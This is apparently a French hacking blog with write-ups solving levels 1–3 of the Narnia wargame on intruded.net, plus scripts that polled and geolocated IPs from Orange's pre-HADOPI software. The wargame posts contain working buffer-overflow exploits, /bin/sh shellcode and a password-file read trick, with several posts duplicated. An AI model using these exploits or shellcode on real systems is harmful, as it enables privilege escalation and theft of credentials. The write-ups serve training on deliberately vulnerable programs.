On aurait pu éviter le symlink mais j'ai trouvé ça plus pratique, surtout si on veut lire un autre fichier :p.
Le détail du buffer d'attaque :
ifile = /tmp/aaaaaaaaaaaaaaaaaaaaaaaaaaa/tmp/lvl5pass
-> fichier réellement lu : /home/level5/.passwd
ofile = /tmp/lvl5pass
Conclusion
Evitez strcpy() comme la peste à moins que vous savez ce que vous faites et vérifiez les permissions des fichiers ;). Comme quoi ne croyez pas qu'un buffer overflow sert uniquement à "owner" l'EIP ;). Ca peut parfois servir à de l'information leakage et autres joyeuseries.
Sur ce,
A un prochain article ;),
Have phun,
m_101
[Wargame] Narnia at intruded.net : Level 3
Et hop le level 3 :).
Le programme vulnérable :
Ok, un bof tout ce qu'il y a de plus classique dans les wargames.
Rien de particulier dans le code assembleur si ce n'est l'habituel calcul d'offset sous GDB.
Si vous voulez plus de détails sur cette méthode, je vous invite à aller voir les liens en bas.
La méthode rapide :
On génére notre pattern avec metasploit :
Ok on a re-écrit ebp avec "e5Ae".
On cherche l'offset de ce pattern avec metasploit toujours :
Donc au bouts de 136 bytes on écrit EBP, EIP est donc re-écrit au bout de 140 octets.
On va utiliser la méthode des variables d'environnement, ça a pas mal d'avantages :
- taille de payload illimitée (pratiquement)
- on perd moins de temps à digguer dans GDB (ou vous pouvez aussi écrire un sploit enfin bon)
- ...
Donc notre petit helper getenv :
Maintenant let's sploit!
Have fun ;).
m_101
Le programme vulnérable :
/*
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char * argv[]){
char buf[128];
if(argc == 1){
printf("Usage: %s argument\n", argv[0]);
exit(1);
}
seteuid(1004);
strcpy(buf,argv[1]);
printf("%s", buf);
return 0;
}Ok, un bof tout ce qu'il y a de plus classique dans les wargames.
Rien de particulier dans le code assembleur si ce n'est l'habituel calcul d'offset sous GDB.
Si vous voulez plus de détails sur cette méthode, je vous invite à aller voir les liens en bas.
La méthode rapide :
On génére notre pattern avec metasploit :
votrepseudo@votremachine $ msf/tools/pattern_create 140 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae
level5@narnia:~$ gdb /wargame/level3 GNU gdb 6.4.90-debian Copyright (C) 2006 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A Starting program: /wargame/level3 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A Program exited normally. (gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae Starting program: /wargame/level3 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae Program received signal SIGILL, Illegal instruction. 0xb7ec7e00 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6 (gdb) i r eax 0x0 0 ecx 0xb7fe0434 -1208089548 edx 0xb7fe1448 -1208085432 ebx 0xb7fdfff4 -1208090636 esp 0xbffff9c0 0xbffff9c0 ebp 0x65413565 0x65413565 esi 0x0 0 edi 0xb8000cc0 -1207956288 eip 0xb7ec7e00 0xb7ec7e00 <__libc_start_main+32> eflags 0x10282 [ SF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51
Ok on a re-écrit ebp avec "e5Ae".
On cherche l'offset de ce pattern avec metasploit toujours :
msf/tools/pattern_offset e5Ae 136
Donc au bouts de 136 bytes on écrit EBP, EIP est donc re-écrit au bout de 140 octets.
On va utiliser la méthode des variables d'environnement, ça a pas mal d'avantages :
- taille de payload illimitée (pratiquement)
- on perd moins de temps à digguer dans GDB (ou vous pouvez aussi écrire un sploit enfin bon)
- ...
Donc notre petit helper getenv :
// @author : m_101
// @licence : beerware
#include <stdlib.h>
int main (int argc, char *argv[]) {
char *addr;
if(argc < 2) {
printf("Usage:\n%s <environment variable name>\n", argv[0]);
exit(0);
}
addr = getenv(argv[1]);
if (addr == NULL)
printf ("The environment variable %s doesn't exist.\n", argv[1]);
else
printf ("%s is located at %p\n", argv[1], addr);
return 0;
}Maintenant let's sploit!
level3@narnia:~$ export SC=`python -c 'print "\x90" * 128 + "\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'` level3@narnia:~$ /tmp/getenv SC SC is located at 0xbffffe94 /wargame/level3 `python -c 'print "A" * 140 + "\x94\xfe\xff\xbf"'`
Have fun ;).
m_101
[Wargame] Narnia at intruded.net : Level 2
On passe donc au level 2 ... quelle ne fut pas ma surprise ...
Le programme vulnérable :
Oui donc bon là c'est quand même assez clair, j'ai rien à "expliquer".
Le sploit :
m_101
Le programme vulnérable :
/*
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <stdio.h>
#include <stdlib.h>
int main(){
int (*ret)();
if((ret=getenv("EGG"))==NULL){
printf("Give me something to execute at the env-variable EGG\n");
exit(1);
}
printf("Trying to execute EGG!\n");
seteuid(1003);
ret();
return 0;
}Oui donc bon là c'est quand même assez clair, j'ai rien à "expliquer".
Le sploit :
export EGG=`python -c 'print "\x90" * 128 + "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`
m_101
[Wargame] Narnia at intruded.net : Level 1
Bonsoir!
Aujourd'hui j'ai eu l'occasion de jouer un peu aux wargame de www.intruded.net.
J'ai donc un peu toucher à Narnia et Behemoth ;).
Je vous présente donc ma solution pour le level1 de Narnia.
Le programme vulnérable :
Ce programme attend une entrée de 24 caractères (je vous dé-conseille vivement
d'utiliser scanf() pour vos entrées ... difficilement maitrisable au niveau de
l'input filtering).
Il faut savoir que scanf() et d'autres fonctions de la bibliothèques standard
prennent leur input dans un buffer, ici en occurrence le buffer d'entrée standard.
J'ai donc utilisé les pipes car bien plus utile pour rentrer des caractères non imprimables
tels que ceux utilisés pour 0xdeadbeef.
Le sploit :
Le cat à la fin sert à éviter que le shell quitte et redonne la main au prompt.
Passons maintenant au level2 ;)
m_101
- link : <a href="http://www.intruded.net/narnia.html">Narnia</a>
- link : <a href="http://www.intruded.net/wglist.html">Wargames intruded</a>
Aujourd'hui j'ai eu l'occasion de jouer un peu aux wargame de www.intruded.net.
J'ai donc un peu toucher à Narnia et Behemoth ;).
Je vous présente donc ma solution pour le level1 de Narnia.
Le programme vulnérable :
/*
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <stdio.h>
#include <stdlib.h>
int main(){
long val=0x41414141;
char buf[20];
printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
printf("Here is your chance: ");
scanf("%24s",&buf);
printf("buf: %s\n",buf);
printf("val: 0x%08x\n",val);
if(val==0xdeadbeef){
seteuid(1002);
system("/bin/sh");
} else {
printf("WAY OFF!!!!\n");
exit(1);
}
return 0;
}Ce programme attend une entrée de 24 caractères (je vous dé-conseille vivement
d'utiliser scanf() pour vos entrées ... difficilement maitrisable au niveau de
l'input filtering).
Il faut savoir que scanf() et d'autres fonctions de la bibliothèques standard
prennent leur input dans un buffer, ici en occurrence le buffer d'entrée standard.
J'ai donc utilisé les pipes car bien plus utile pour rentrer des caractères non imprimables
tels que ceux utilisés pour 0xdeadbeef.
Le sploit :
(python -c 'print "A" * 20 + "\xef\xbe\xad\xde"' ; cat) | /wargame/level1
Le cat à la fin sert à éviter que le shell quitte et redonne la main au prompt.
Passons maintenant au level2 ;)
m_101
- link : <a href="http://www.intruded.net/narnia.html">Narnia</a>
- link : <a href="http://www.intruded.net/wglist.html">Wargames intruded</a>
lundi 26 juillet 2010
Orange HADOPI Hacking for dummies : useless scripts ;)
Bonsoir,
Bon rien de spécial aujourd'hui, juste retrouver pour vous des scripts inutiles que j'ai utilisés pour les IP dans l'analyse du soft pré-HADOPI d'Orange.
Le script utilisé pour farmer les IPs (je ne peux bien évidemment pas dévoiler la liste des IP) :
Le script python pour savoir d'où provenait les IP :
Voilà,
Have phun ;)
Bon rien de spécial aujourd'hui, juste retrouver pour vous des scripts inutiles que j'ai utilisés pour les IP dans l'analyse du soft pré-HADOPI d'Orange.
Le script utilisé pour farmer les IPs (je ne peux bien évidemment pas dévoiler la liste des IP) :
#!/bin/sh
while true;
sleep 5;
do wget -qO - http://195.146.235.67/status?XML=true | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' >> /tmp/out.tmp;
doneLe script python pour savoir d'où provenait les IP :
#!/usr/bin/python
import sys
import socket
#import pygeoip
import GeoIP # maxmind geoip
if len(sys.argv) < 2:
print 'Usage : %s file' % sys.argv[0]
exit(1)
# load file
fp = open(sys.argv[1], 'r')
content = fp.read()
fp.close()
ips = content.split ('\n')
# geolocate every ip
geoip = GeoIP.new(GeoIP.GEOIP_MEMORY_CACHE) #pygeoip.Database('GeoIP.dat')
locations = {}
for ip in ips:
#locations[ip] = geoip.lookup(ip)
locations[ip] = geoip.country_code_by_addr(ip)
for ip, location in locations.items():
if location == None:
location = 'noloc'
print ip + ':' + locationVoilà,
Have phun ;)
Inscription à :
Articles
(
Atom
)